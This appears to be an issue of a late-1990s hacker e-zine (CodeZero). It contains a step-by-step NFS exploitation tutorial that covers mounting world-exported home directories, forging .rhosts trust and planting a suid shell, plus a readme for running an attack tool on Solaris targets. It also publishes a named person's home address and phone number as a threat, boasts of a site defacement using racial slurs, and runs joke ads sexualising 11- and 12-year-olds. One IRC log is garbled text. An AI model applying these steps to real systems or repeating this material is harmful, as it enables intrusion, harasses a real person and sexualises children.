컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 5. The issues list : so1o 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� ------------------------------------------------------------------------------- 1997 : ------------------------------------------------------------------------------- issue 2 : Mon 26th May issue 3 : Tue 15th July issue 4 : Wed 3rd September issue 5 : Thu 23rd October issue 6 : Fri 12th December ------------------------------------------------------------------------------- 1998 : ------------------------------------------------------------------------------- issue 7 : Sat 31st January issue 8 : Sun 22nd March issue 9 : Mon 11th May issue 10: Tue 30th June issue 11: Wed 19th August issue 12: Thu 8th October issue 13: Fri 27th November ------------------------------------------------------------------------------- 1999 : ------------------------------------------------------------------------------- issue 14: Sat 16th January issue 15: Sun 7th March issue 16: Mon 26th April issue 17: Tue 15th June issue 18: Wed 4th August issue 19: Thu 23rd September issue 20: Sat 1st January 2000!@�!@"$@%!�"~@ 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 6. Damned warez pups : so1o 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� (I didn't touch anything on this document, this is how I got it - so1o) --- U call us kriminals. We distribute copyrighted software... and u call us criminals. We steal games from radio shack... and u call us criminals. We exist without skin color, (cuz we're always inside downloading and uploading) without religious bias, (cuz we have know idea that the hell religios bias is) without intelligence... and u kall us criminals. U start wars and stuff, yet we're the kriminals. Yes, I am a criminal. My crime is that of stupidity. My crime is that of judging people by how much they upload and how k-rad they're typing is, not what they look like or if they can spell they're name right the first time without messing up. My crime is that of stealing u're work and putting my name On it, and u get all huffy puffy about it. I am a kourier, and this is my manifesto. U may stop one moron, but U can't stop us all! After all, we're all alike. 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 7. Simple NFS technique : Synner 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� -:Introduction:- The Network File System as it is commonly called NFS ,allows you to share filesystems among hosts.NFS was firstly introduced by Sun Microsystems back in 1985.The good thing about NFS is that when a server crashes ,no data is lost, simply the clients wait untill it brings itself back to normal and then continue as if nothing had happened. -:Exporting filesystems:- A server is said to 'export' filesystems when it makes filesystems avaiable for use by other machines.An NFS client must always mount a filesystem before using it.Then the server examines the mount request and authenticates the client before allowing access. -:The Mount Daemon:- Mount requests are handled by the mountd.Mountd reads /etc/exports so it can get information about what filesystems should be exported and how to outsiders.The export file consists of directories in the left column,followed by a series of attributes and options stating how the filesystem can be exported. For example ,/etc/exports: /disk2/data2 -access:foovax:godzilla,root=godzilla /disk1/data1 -access:acid25:stonefree:ganja permits /disk2/data2 to be mounted by foovax and godzilla whilst giving godzilla root privilidge in this filesystem when mounted. In addition /disk1/data1 can be mounted by acid25,stonefree and ganja. Attribute Description ---------------------------------------------------------------------------- -access:list Lists hosts that can mount the filesystem. -ro Export read-only;no clients may write on the filesystem. -rw:list Export read-only mostly;list describes the hosts allowed to write on the mounted filesystem.All other must read-only -root:list Lists hosts permitted to access the filesystem as root without this option a client has equilevant access as nobody. (usually UID -2). -anon:n Specifies UID that should be used for requests coming from an uknown user.Defaults to nobody. ---------------------------------------------------------------------------- -:Mounting Remote Filesystems:- On machines that support NFS the mount command has been modified to understand the hostname:directory notation For example if a user can mount /CDROM from foobar he must give: % mount 666.666.666.666:/CDROM /mnt % cd /mnt Then he would mount the /CDROM directory from jerky to his machine /mnt directory.When finished he would do 'umount /mnt' to unmount it. When invoked with no parameters ,mount will show which filesystems are mounted in the machine along with their type etc. The mount command allows one to create temporarly network mounts,but mounts that are part of the permanent configuration must be stated in /etc/fstab thus automatically mounted in boot time. -:Showmount:- Showmount querries the mount daemon of the remote host to obtain the server's NFS state.Invoked with no parameters ,showmount lists the clients that are mounting from that host. Common options: -a or -all List both client hostname and mounted directory in host:dir format. -d or -directories List only the directories mounted by some client -e or -exports List the NFS server export list. see also showmount(1). -:NFS exploitation:- This last section will cover some simple mechanisms that can exploit NFS when its not configured properly.Dont expect black magic here. % showmount -e target.com Export list for target.com: /CDROM (everyone) /home (everyone) /usr sex,drugs,jesuz-krist % We see here that target.com allows the /CDROM & /home filesystems exported to the world!.Now we will attempt to mount /home and place an .rhosts entry to a user (/CDROM is no good :) ). # mount 123.123.123.123:/home /mnt # cd /mnt # ls -l 1 drwxr-xr-x 11 root daemon 512 Jun 12 09:47 . 1 drwxr-xr-x 7 root wheel 512 Jun 12 11:32 .. 1 drwxr-xr-x 9 6667 daemon 1024 Jun 12 23:12 guest 1 drwxr-xr-x 5 203 10 1024 Jun 12 09:12 foosucker # echo "guest:*:6667:1:disposable hero:/tmp:/bin/sh" >>/etc/passwd # su guest $ echo "+ +" >~guest/.rhosts $ cd;umount /mnt $ rlogin target.com -l guest Welcome to Target Inc. ! target% Lets review this step-by-step.At first we discover that home directories at target.com are exported to the world.Then we proceed in mounting them at the /mnt directory.Then we access the directory and see that a guest user exists.We write down his uid/gid and create a temporarly user at our own passwd file.We then su to guest and create an .rhosts entry allowing us to rlogin freely to Target!. Considering that target.com has '/home' exported to everyone and since root cannot modify files on a NFS filesystem,its only a matter of creating a 'bin' owned suid shell in guest's home directory allowing us bin access. # mount 123.123.123.123:/home /mnt # cd /mnt/guest # su guest $ chmod 777 . $ exit # su bin $ rcp /bin/sh ./binsh $ chmod 4755 ./binsh $ exit # rlogin 123.123.123.123 -l guest Welcome to Target Inc.! target% ./binsh $ whoami bin Although there are many more issues regarding NFS ,as Sun's AMD and automount (these are enhanced versions of 'mount') or more sophisticated ways of NFS exploitation (thru the portmapper or nfsd bugs in SunOS),this paper quickly covered the basics.Hope you enjoyed as much as I did!. -:Suggested Reading:- UNIX System Administration Handbook Managing NFS/NIS O'Reilly Publications RFC1094 Relevant manpages. 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 8. #hebrew : so1o 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� Any hebrews that can translate this for me will get a prize... [migada] 昻 哀特蒲? [migada] 重遇� [migada] 賊 特蒲? *[msg] 重遇� [migada] 績郁� 猩�? [migada] 碎 依�? [migada] 陝 縯� 守 剡 重遇� *[msg] 重遇� [migada] 守 齧 碎? [migada] 績郁� 猩 齧 猩�?? [migada] 碎 齧 守 依� 猩 齧 猩�? *[msg] 碎 齧 守 依�? *[msg] 守 齧 碎? [migada] 魚� 齧 猩�? [migada] 賊 猩� 袍唾 [migada] ? *[msg] 重遇� *[msg] 魚� 齧 猩�? *[msg] ?? [migada] 猩 [migada] 姪鹹� [migada] 猩 齧 猩�? [migada] 績郁�? [migada] 珣�? *[msg] 姪鹹� *[msg] 績郁�? [migada] 燮� 賊筍雩 曖一俺 [migada] 姪鹹� 猩�? [migada] 績郁� 猩�? [migada] 碎 依� 猩�? *[msg] 姪鹹� [migada] 齧 猩? [migada] 絢芋 猩� 虞訊 佾衒� 鎭� 悛鴨 銳� 剪義虞 齧 重遇� [migada] ? *[msg] 姪鹹� 猩�? *[msg] ?? [migada] 猩 [migada] 燮� 守 [migada] !!!!!!!!!!!!!!!!!!!!! *[msg] ? [migada] 魚族 績憶 循� 松� *[msg] 齧 猩? [migada] 碎 依� 猩� ? [migada] 績郁� 猩�? *[msg] 績郁� 猩�? [migada] 燮� 賊筍雩 曖一俺 [migada] 魚舷? *[msg] 碎 依� 猩�? *[msg] ?? [migada] 陝 燮� 設芋 純 猩� 絢芋? *[msg] 燮� 賊筍雩 曖一俺 [migada] 績郁� 率虞�? *[msg] 燮� 賊筍雩 曖一俺 *[msg] ? [migada] 績郁� 率虞�? [migada] 蹟諺舷? [migada] 展晫旭. [migada] ? [migada] 績郁�? *[msg] 纖輒 飡一� *[msg] 魚族 賊筍雩 族橒 猥閃� [migada] 猩� 脣予 [migada] 誦� *[msg] 績郁� 率虞�? [migada] 申� [migada] 猩� 琮剪 [migada] 魚舷 純 音絃 *[msg] [msg] 績郁� 率虞�? *[msg] [migada] 申� *[msg] [migada] 猩� 琮剪 *[msg] ?? [migada] 依� 鹹音� 盒� 虞訊 賊五勖 盒� *[msg] 申� [migada] 齧 沆賢雩 佾衒� 壽拖釣� 齧 喊廛釣 認壽 [migada] 賊 猩� 蹟一�? *[msg] 猩� 琮剪 *[msg] ?? [migada] 誦� *[msg] 依� 鹹音� 盒� 虞訊 賊五勖 盒� [migada] 誦� *[msg] 申� *[msg] do you speak english? [migada] yes 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 9. Lord Somer : so1o 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� Lord Somer is now on the top of our list, due to the following reasons... 1) He thinks he has skills 2) He does w4r3z He will get 0wned, just like all the others (sIn, ELH etc. etc.) On his elite internic whois, he has... Somer, Robert The Hacker's Layer Cincinnati, OH 45238 815 334-9547 (815 isn't Cincinnati, it's Woodstock) (that fone # is the fax machine for the nethosting company he uses) So, we used a process of simple deduction, and here is (we hope), Lord Somer's d0x... Thomas J Somers 5737 Walkerton Dr, Cincinnati, OH 45238-1842 (513) 451-4239 w3 4r3 c0m1n f0r j00 w4r3z k1dd13, ph34r. 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� =============================================================================== ==[ NEWS ]=====================[ .SECTION E. ]=======================[ NEWS ]== =============================================================================== 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 1. c0de : so1o 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� New people hit the scene, c0de, #c0de on EFnet, check out www.hacked.net to see what they've hit, all iRC targets so far (but we beat them to www.cyber-dragon.org), lamefuck VB k0der \\StOrM\\ of sIn is in their little group, so I really wouldn't rate them very highly at all. 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 2. Beyond HOPE : Some dude @wired.com 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� With security personnel up from the CIA hometown in Langley, Virginia, mixing with hackers up from basements across the country, the techno-bacchanal Beyond HOPE highlighted the further evolution of computer jocks into the mainstream - and into money. Now that security concerns and hacking have yielded a booming industry ("tiger teams" of contractual crackers), it should come as no surprise that this rowdy, packet-sniffing bunch has learned to capitalize on its true talent: working the network. "Five years ago, they were a fringe, the Net was this obscure thing used to hack phone tech manuals," says security and cryptography expert Bruce Schneier, who spoke at this weekend's conference, held in New York and sponsored by the hacking mag 2600. "Now there are companies whose life blood is the Net, like Yahoo, Amazon.... And hackers are being 'outed,' getting hired for penetration testing or starting companies." The three-day conference, keynoted by MSNBC commentator Brock Meeks, proved that hacking is not a lifestyle choice, but a community with its own rock stars (L0PHT), renegades (Metro-card hacking Red Balaklava), martyrs (Bernie S., Phiber Optik), and even patron saints (Cheshire Catalyst, Captain Crunch). While Steve Rambam walked the audience through the method for acquiring a fake Social Security card, the media-savvy Mudge, wearing a "Microshit" T-shirt, filled the group in on Theo de Raadt's OpenBSD, a hacker-written operating system. With an exploit script, an easy-to-use interface, and good name, "it will get press," said L0PHT member Mudge. "Microsoft hates that, and that's why we love it." But the real attraction was the bank of Unix terminals prepped for public consumption - and corruption. And while the hacker movement is gaining force, it's also gaining speed. This year, the conference boasted an operational 10 Mbps local network, compared to the crawling 28.8 Kbps they had in 1994. "If you have a machine on the network, expect to be hacked," said 2600 founder and conference organizer Emmanuel Goldstein, "because that's what we're here for." The 1,000-person strong Beyond HOPE is among a growing number of hacker conferences, including Black Hat and DEFCON, both held in July in Las Vegas. The happy-camper HIP conference was held, perhaps unwisely, simultaneously. HOPE attendee CyberJunkie hacked the HIP conference homepage and riddled it with HOPE icons. Though there's clearly a greater handshaking between law enforcement and the hacker community, Bernie S. knows well that the amity has a ways to go. The co-organizer of the 2600 meeting, the boyish Bernie was sent to prison in May 1995 by the Secret Service for publishing a list of the service's communications frequencies, code names, and photos of agents in action (and picking their noses). The case against him began to verge on the absurd when agents confused the dental putty in his garage with plastic explosive. As the cause celebre of the culture, Bernie S. typifies the resiliency of the group. "If you try to squelch info, it won't get better," he said. "It'll mushroom." Though most hackers subsist off freeware, the conference offered multiple opportunities for conspicuous consumption. "Major Hacking" cookies were on sale at the "Buy Our Shit" concession stand. A letter-bomb detector went for US$40 (used), and another table offered "I Love Your Computer" bumper stickers and "Co-Ed Naked Hacking" T-shirts ("Finger Me for More Info"). For the more serious consumer, Nadir sold hot hard drives and CD-ROM drives for $50 a pop. Will he guarantee it works? "I'll guarantee I brought it here," he answers. He's a student, and it's the first time he's tried selling hijacked equipment, he says. "I just want to make people happy." Ritalin junkies may have dominated by far, but the elder statesmen of the movement were there in force. Phone phreak Cheshire Catalyst, the founder of 2600 precursor TAP (Technical Assistance Program), started his newsletter in 1971 for "pay-phone justice" - basically a primer on how to make phone calls on a penny. Captain Crunch, a more grizzled veteran who served time, reminisced about the time he prank-called Nixon in the White House. ("Sir, we have a crisis," he recalls saying. "What is the nature of the crisis?" Nixon asked. "Sir, we're out of toilet paper," Crunch answered, and hung up). But for those on the outside, the line between allegiance and antagonism isn't always clear. MSNBC commentator Brock Meeks called for hackers to "pump up the volume," and bemoaned the loss of elegant hacks like the hole-sniffing Satan or Hacker X's coup stripping the CyberPromotions server and posting it all over news groups. "Twenty percent of government computers have been subject to hacking attempts - that's a pretty low percentage." he said. "Get off your asses and make that go up." Later, a black-clad attendee who requested anonymity scoffed at Meeks' coaching. "It's so self-serving," he said. "He just wants to write about it." 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 3. www.sinnerz.com gets 0wned : so1o 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� ..this is what their new page looked like : [FUCK1N 0WN3D SIN B1TCHEZ] sIn 4r3 n0w m3mb3rs 0f th3 c0d3z3r0 ph34r n4t10n. ------------------------------------------------------------------------------ b0w the fuck d0wn j00 fuck1n' vB k0d3r punks. Team CodeZero, we got them madskills in effect, this time proving 0wnersh1p over lamefuck vB k0derz, they deserve all this shit more than anyone, they think they're so fucking cool with their vB k0dez and their k-r4d .txt ph1lez!@#~ ------------------------------------------------------------------------------ pHEAR dEM mADsKILLZ yOU fUCKING oWNED nIGGORS. wE bE dE oRIGINAL 4 mAN dREAM tEAM, wE rULE yOUR wEAK wORLD. +-------------------+ � � � � � retard.jpg � � � � � � � � � +-------------------+ so1o, xFli, helix, modeX ------------------------------------------------------------------------------ Team CodeZero, wh0 laughs last? 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� =============================================================================== ==[ PROJECTS ]=================[ .SECTION F. ]===================[ PROJECTS ]== =============================================================================== 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 1. soltool for Solaris 2.5.x [sunOS 5.5.x] is here!@~ : so1o 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� ============================================================================= The Solaris Security Tool Readme File : ============================================================================= ::: This tool is for use with Solaris 2.5.x [sunOS 5.5.x]. ::: It needs /bin/bash on the target system to run. To get soltool to work, do the following... 1) FTP it to your target system (the soltool.gz) 2) telnet in, and type... % gunzip soltool.gz % /bin/bash $ chmod 755 soltool $ soltool ... then it will run, and give you usages and stuff ... if it gives "Command not found" then try this as step 2... otherwise bash hasn't been installed. % /usr/local/bash Enjoy, 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 2. TOTAL CON : so1o 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� ****************************************************************************** http://www.aom.co.uk/total/ ****************************************************************************** +------------------------------------+------------------------------------+ � An Official Total Con Announcement � An Official Total Con Announcement � � An Official Total Con Announcement � An Official Total Con Announcement � +------------------------------------+------------------------------------+ ****************************************************************************** http://www.aom.co.uk/total/ ****************************************************************************** Total Con '98 is now a reality, here are preliminary details... =============================================================== Venue : The Old Firestation, Silver Street, Brisol, ENGLAND Date : Late March 1998 Duration : 1 night (12:00pm -> 12:00pm next day) What : 12 system network with internet access Loud music Fully licensed bar downstairs Elite UV and spotlights Channel 4 media coverage (hopefully) ALOT of cool people ^^^^^^^^^^^^^^^^^^^ *** NO SPEAKERS WHATSOEVER *** Travel : Easily accessible by car, train, bus or plane. Accomodation : You can crash out in the Firestation (its HUGE) or book one of many hotels in the immediate area. ****************************************************************************** http://www.aom.co.uk/total/ ****************************************************************************** +------------------------------------+------------------------------------+ � An Official Total Con Announcement � An Official Total Con Announcement � � An Official Total Con Announcement � An Official Total Con Announcement � +------------------------------------+------------------------------------+ ****************************************************************************** http://www.aom.co.uk/total/ ****************************************************************************** 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� =============================================================================== ==[ FIN ]======================[ .SECTION G. ]========================[ FIN ]== =============================================================================== 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� --------------------------------------+--------------------------------------- | YOUR SPECIAL AD | LET'S BE FREE | COULD BE RIGHT HERE #@! | Gay White Male 38, 5'11" looking | for men, 12 - 32 clean, fit, and SEND ELECTRONIC MAIL TO: | hairy. Discreet Encounters. ADZ@CODEZ.COM | Call Anytime : (816)781-8009 | (Ask for Tommy) | --------------------------------------+--------------------------------------- | ARE YOU 11 OR 12 ??? | FREE FONESEX! CALL ME NOW!@ | Looking for men 11 - 12 for adult | Yeah huney, you know you want me, video satisfaction. I am 35 into | I'll treat you just right, I'm Professional wrestling. | waiting for your call today! Let's talk soon : (816)453-8722 | CALL ME NOW!@# : (847)546-9154 | (Ask for Kim) --------------------------------------+--------------------------------------- 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� .oO The CodeZero Oo. 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� _ /| k0dek4t sez... \'o O' =(_o_)= "EyEm HuNGaRy FoR SKiLLz, U nOt CaTf00d!!#@" 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� Remember, McDonalds Owns You, And Ronald Is The KinG!!! Wendy Is Satan!! Don't Believe The Lies!! PHEAR WENDY!@#* 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴�